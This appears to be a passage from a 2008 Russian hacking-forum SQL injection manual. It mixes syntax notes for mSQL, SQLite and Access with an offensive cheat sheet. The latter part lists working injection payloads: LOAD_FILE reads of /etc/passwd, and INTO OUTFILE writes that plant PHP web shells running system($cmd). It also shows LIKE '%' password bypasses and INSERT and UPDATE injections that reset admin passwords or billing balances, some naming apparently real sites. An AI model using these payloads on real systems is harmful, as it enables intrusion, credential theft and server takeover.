select _sysdate from staff

_systime
select _systime from staff

_user
select _user from staff
=========================
(LIKE etc),(CHAR)
=========================
The regular expression syntax supported by LIKE clauses is that of standard SQL:
`_' matches any single character
`%' matches 0 or more characters of any value
`\' escapes special characters (e.g. `\%' matches % and `\\' matches \ )
all other characters match themselves
=========================
ORDER, DISTINCT
=========================
SELECT [table.]column [ , [table.]column ]**
FROM table [ , table]**
[ WHERE [table.] column OPERATOR VALUE
[ AND | OR [table.]column OPERATOR VALUE]** ]
[ ORDER BY [table.]column [DESC] [, [table.]column [DESC] ]

OPERATOR can be <, >, =, <=, >=, <>, or like
VALUE can be a literal value or a column name
=========================
Таблица по дефаулту:

emp_details
- first_name
- last_name
- dept
- emp_id

=========================
Работа в командной строке:

The Monitor - mSQL:
Usage
msql [-h host] [-f confFile] database
\q Quit (also achieved by entering Co
\g Go (Send the query to the server)
\e Edit (Edit the previous query)
\p Print (Print the query buffer)

Schema viewer - relshow
Usage
relshow [-h host] [-f confFile] [database [rel [idx] ] ]

Admin program -- msqladmin
Usage
msqladmin [-h host] [-f confFile] [-q] Command

create db_name - Creates a new database called db_name.
drop db_name - Removes the database called db_name from the server. This will also delete all data contained in the database!
shutdown - Terminates the mSQL server.
reload - Forces the server to reload ACL information.
version - Displays version and configuration information about the currently running server.
stats - Displays server statistics.
copy fromDB toDB - Copies the contents of the database specified as the fromDB into a newly created database called toDB.
move fromDB toDB - Renames an existing database called fromDB to toDB. The data is not modified in any way.

Data dumper - msqldump
Usage
msqldump [-h host] [-f confFile] [-c] [-v] [-t] [-w WhereClause] database [table]
Options
-h Specify a remote hostname or IP address on which the mSQL server is running. The
default is to connect to a server on the localhost using a UNIX domain socket rather
than TCP/IP (which gives better performance).
-f Specify a non-default configuration file to be loaded. The default action is to load the
standard configuration file located in INST_DIR/msql.conf (usually
/usr/local/msql3/msql.conf). Please see the msqlLoadConfigFile entry in the API
section of this manual to understand the method used to select the config file from the
specified file name.
-c Include column names in INSERT commands generated by the dump.
-t Dump only the table definition, not the table data
-v Run in verbose mode. This will display details such as connection results, etc.
-w The argument following the –w flag is used as a query condition to limit the data that
is dumped. An example may be -w “last_name = ‘Hughes’ “

Data exporter - msqlexport
Usage
msqlexport [-h host] [-f conf] [-v] [-s Char] [-q Char] [-e Char] database table
Options
-h Specify a remove hostname or IP address on which the mSQL server is running. The
default is to connect to a server on the localhost using a UNIX domain socket rather
than TCP/IP (which gives better performance).
-f Specify a non-default configuration file to be loaded. The default action is to load
the standard configuration file located in INST_DIR/msql.conf (usually
/usr/local/msql3/msql.conf). Please see the msqlLoadConfigFile entry in the API
section of this manual to understand the method used to select the config file from
the specified file name.
-v Verbose mode.
-s Use the character Char as the separation character. The default is a comma.
-q Quote each value with the specified character.
-e Use the specified Char as the escape character. The default is \

Data importer -- msqlimport
Usage
msqlimport [-h host] [-f conf] [-v] [-s Char] [-q Char] [-e Char] database table
Options
-h Specify a remote hostname or IP address on which the mSQL server is running. The
default is to connect to a server on the localhost using a UNIX domain socket rather
than TCP/IP (which gives better performance).
-f Specify a non-default configuration file to be loaded. The default action is to load
the standard configuration file located in INST_DIR/msql.conf (usually
/usr/local/msql3/msql.conf). Please see the msqlLoadConfigFile entry in the API
section of this manual to understand the method used to select the config file from
the specified file name.
-v Verbose mode.
-s Use the character Char as the separation character. The default is a comma.
-q Remove quotes around field values if they exist (the specified character is the quote
character).
-e Use the specified Char as the escape character. The default is \

msqlimport –s , -q “ –e “ company staff

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +

0

6

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ SQLite ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
http://www.sqlite.org/lang.html
http://www.sqlite.org/docs.html
http://www.sqlite.org/faq.html
=========================
Коментарии:

SQL-comment ::= -- single-line
C-comment ::= /* multiple-lines [*/]
=========================
Синтаксис SELECT как видите держит кучу функций, в том числе UNION !

sql-statement ::= SELECT [ALL | DISTINCT] result [FROM table-list]
[WHERE expr]

© durito
[GROUP BY expr-list]
[HAVING expr]
[compound-op select]*
[ORDER BY sort-expr-list]
[LIMIT integer [( OFFSET | , ) integer]]
result ::= result-column [, result-column]*
result-column ::= * | table-name . * | expr [ [AS] string ]
table-list ::= table [join-op table join-args]*
table ::= table-name [AS alias] |
( select ) [AS alias]
join-op ::= , | [NATURAL] [LEFT | RIGHT | FULL] [OUTER | INNER | CROSS] JOIN
join-args ::= [ON expr] [USING ( id-list )]
sort-expr-list ::= expr [sort-order] [, expr [sort-order]]*
sort-order ::= [ COLLATE collation-name ] [ ASC | DESC ]
compound_op ::= UNION | UNION ALL | INTERSECT | EXCEPT

=========================
Подгрузка дб из файла:

ATTACH [DATABASE] database-filename AS database-name
=========================
Выгрузка базы в файл:

COPY [ OR conflict-algorithm ] [database-name .] table-name FROM filename [ USING DELIMITERS delim ]
=========================
Полезные таблицы:

sqlite_master
- type
- name
- tbl_name
- rootpage
- sql
sqlite_temp_master

=========================
Дамп бд под командной строкой:

.import FILE TABLE Import data from FILE into TABLE
=========================
Восстановление бд:

.output FILENAME Send output to FILENAME
++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +



++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++ Access(beta) ++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
http://megalib.com/items.php?idsubject=68
http://www.sql.ru/articles/articles.asp … ss&s=0
http://www.vb123.com/map/
http://hiprog.com/forum/
=========================

Поддержка UNION

=========================
Полезные таблицы
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

=========================
Создаём Аккаунт:

CREATE USER name IDENTIFIED BY 'pass123'

++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +

08.04.2008, 13:24 #8
durito
Moderator

Регистрация: 10.04.2006
Сообщений: 561
Репутация: 43 [+/-]

Quote selected ==============================================
++++++++++++++++++++++++++++++++++++++++++++++
Применение UPDATE, DELETE, LIMIT, TOP, UPDATE, CREATE, DROP, LIKE, INTO, UNLOAD
==============================================
++++++++++++++++++++++++++++++++++++++++++++++

SQL содержит 4 группы операторов:

- Операторы описания данных:
CREATE, DROP, ALTER и др.
- Операторы манипуляции данными:
INSERT, DELETE, SELECT, UPDATE и др.
- Операторы задания прав доступа в базе данных:
GRANT / REVOKE , LOCK / UNLOCK , SET LOCK MODE
=========================
Показать часть данных, ограниченных по кол-ву:

select … LIMIT 99999,1 union select….
select … LIMIT 1,0 union select….
select id from users LIMIT 1
=========================
Найти данные, содержащие строку(типа поиска, очень удобно):

select id from users where password LIKE '".addslashes($password)."' and user LIKE '".addslashes($user)."'
в этом случае к любому пользователю подойдет пароль %
SELECT login, password FROM members where email='my@mail.ru' OR login LIKE '%admin%'
зломщик получит пароли от пользователей, в login которых содержится admin.
=========================
Показать содержимое файла через прогрузку по БД:

id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*
select if(LOAD_FILE("blalala") is null,1,2)
?id=-999+union+select+1,2,4,4,5,6, 7,8,9,0,1,2,3,4,5,7,7,8,9,0,1,2,LOAD_FILE('путь_к_ файлу'), 4,5,7,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2
При достаточных правах она возвратит содержимое файла (если файл отсутствует,или на его чтение у mysql нет прав, в ответе будет ошибка),
в противном случае функция возвращает null. Если вывод сообщений об ошибках отсутствует, то можно поступить так:
select if(load_file("blalala") is null,1,2);
Если в ответе будет 1, то это означает о невозможности использования load_file().
=========================
Записать данные в файл на сервере:

SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';
id=admin' from table1 INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt

При этом конструкция from table1 обязательна.

webmaster@gsc-game.kiev.ua' from table1 INTO OUTFILE 'access.txt' /*
id=9999+union+select+null,' >',null+from+table1+INTO+OUTFILE+'/usr/local/site/www/banners/cmd.php'/*
' or <> ' ' INTO OUTFILE '/data/httpd/vhosts/./stalker-game.com/all_logins_and_passwords.txt' /*
SELECT '<?echo system($cmd);?>' from table1 INTO OUTFILE "e:/home/www/fuck.php";
=-1+UNION+SELECT+null,null,null,'test',null,null+fro m+users+INTO+OUTFILE+'/tmp/test'/*

1) outfile
?id=-1+UNION+SELECT+null,0x66726f6d205b2063617368205d20 7768697468206c6f7665202929292929,null,null,null,nu ll+from+accounts+into+outfile+'/tmp/aaa.php'/*

2) ENCLOSED BY
?id=45'+into+outfile+'/tmp/session_002'+fields+terminated+by+''+optionally+en closed+by+"?><?phpinfo();?>"/*
?id=-1+UNION+SELECT+1,3,4,5,6,7+from+accounts+into+outf ile+'/tmp/aaaaaaaaaaaa1.php'+FIELDS+TERMINATED+BY+''+OPTIONA LLY+ENCLOSED+BY+0x74657374/*

2) dumpfile
?id=-1+UNION+SELECT+null,0x66726f6d205b2063617368205d20 7768697468206c6f7665202929292929,null,null,null,nu ll+from+accounts+into+dumpfile+'/tmp/aaaaaaaaa11231.php'/*

select 1 from lala into outfile FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '?><?phpinfo();?>'
http://www.mysql.ru/docs/man/SELECT.html
http://download.asechka.ru/download.php … ionally+en closed+by+"?><?phpinfo();?>"/*

Создать таблицу, столбец, запись:
CREATE table test(lala varchar(3000));bulk insert test from "c:/windows/ФАЙЛ"
CREATE table lala(xxx int)

//Создаём таблицу shell
CREATE TABLE shell (code TEXT NULL);
//вставляем в неё сам код шела
INSERT INTO shell VALUES('<? shell(); ?>');
//выводим шел в файл
SELECT * FROM shell INTO OUTFILE '/home/PATH_TO_WWW/shell.php';
=========================
Эксплуатация через INSERT:

1) Через (),()
INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'ge@ma.ru' , ' [ 12.12.2007') , ('1','2','3','4 ] ')

2) Через ON DUPLICATE KEY UPDATE
INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'ge@ma.ru' , ' [ 12.12.2007') ON DUPLICATE KEY UPDATE `name`='gemaglabin',`password`='mafia'-- ] ','testeng' , 'ge@ma.ru' , '12.12.2007')

INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , 'ge@ma.ru' , '12.12.2007') ON DUPLICATE KEY UPDATE table2.admin_pass = 'underWHAT?!'

=========================
Удалить таблицу, столбец:
DROP table test
=========================
Удаление данных:
DELETE FROM имя таблицы WHERE выражение
DELETE from users WHERE name='root'
=========================
Внести новые значения(данные):
INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
INSERT INTO table (value1; value2; value3; etc.) VALUES (value1; value2; value3; etc.)
wwwexample.ru/index.asp?user=1 INSERT INTO 'logins' ('number', 'login', 'pass') VALUES (1,'makarov','password')--
=========================
Установить новые значения(обновить, проапдейтить данные):
UPDATE users SET user_sig=(select passwd from users where id=1) where id=893
UPDATE nuke_authors SET pwd='123' WHERE aid='admin'
UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo--
UPDATE wp_options set option_value=’jpg gif png doc pdf php’ WHERE option_name=’fileupload_allowedtypes’
UPDATE billing.users SET balans=30 WHERE id_user=92
=========================
В уже существующей таблице мы можем поменять тип столбца, добавить новый, уничтожить старый.
ALTER TABLE kadry ADD (dolvnostx CHAR(20) BEFORE zarplata), DROP(pribytie), ADD CONSTRAINT UNIQUE(tabnom, fio) CONSTRAINT tabnomfio
ALTER TABLE items MODIFY (manu_code char(4))
=========================
Оператор LOAD выполняет обратную операцию - считывает строки из файла и вставляет их в таблицу.
Естественно, что типы и количество значений в строках файла должны соответствовать столбцам таблицы.
LOAD FROM "kadry20.unl" INSERT INTO kadry
=========================
Оператор UNLOAD сбрасывает данные из таблицы в файл в печатном представлении.
Каждая строка преобразуется в отдельную запись,значения из столбцов разделяются символом "|".
UNLOAD TO "kadry19.unl" SELECT * FROM kadry
=========================
MATCHES использует такие спецсимволы шаблона: *,?,[,],^,-.
* заменяет любое количество символов
? заменяет один любой символ
[...] заменяет один символ из перечисленных в скобках
возможно указание от и до (-), и не (^)
[abH] - любой из символов a, b, H
[^d-z] - любой символ, исключая d,e,f,g, ... ,y,z
\ отменяет спецсмысл спецсимволов *,?,[,]
=========================
Предложения INTO, INTO TEMP, FROM.
Выбрать все строки (нет предложения WHERE) из таблицы kadry,
взять в них все столбцы (вместо перечисления столбцов стоит *),
оставить только различные строки (ключевое слово UNIQUE) и по-
местить результат во временную таблицу (INTO TEMP) x, которая
будет при этом создана с такими же столбцами, что и у kadry.
SELECT UNIQUE * FROM kadry INTO TEMP x
=========================
Агрегатные функции.
К выбранным строкам можно применять агрегатные функции COUNT(*)
- количество, MAX(column) и MIN(column) - максимальное и мини-
мальное значение в столбце, SUM(column) - сумма всех значений в
столбце, AVG(column) - среднее значение в столбце.
Поместить в переменную num количество строк в таблице orders, в которых столбец customer_num равен 101:
SELECT COUNT(*) INTO num FROM orders WHERE customer_num=101

0


Вы здесь » terminal-s52 » Кодинг » Man-SQL-inj v2.2 by Elekt Введение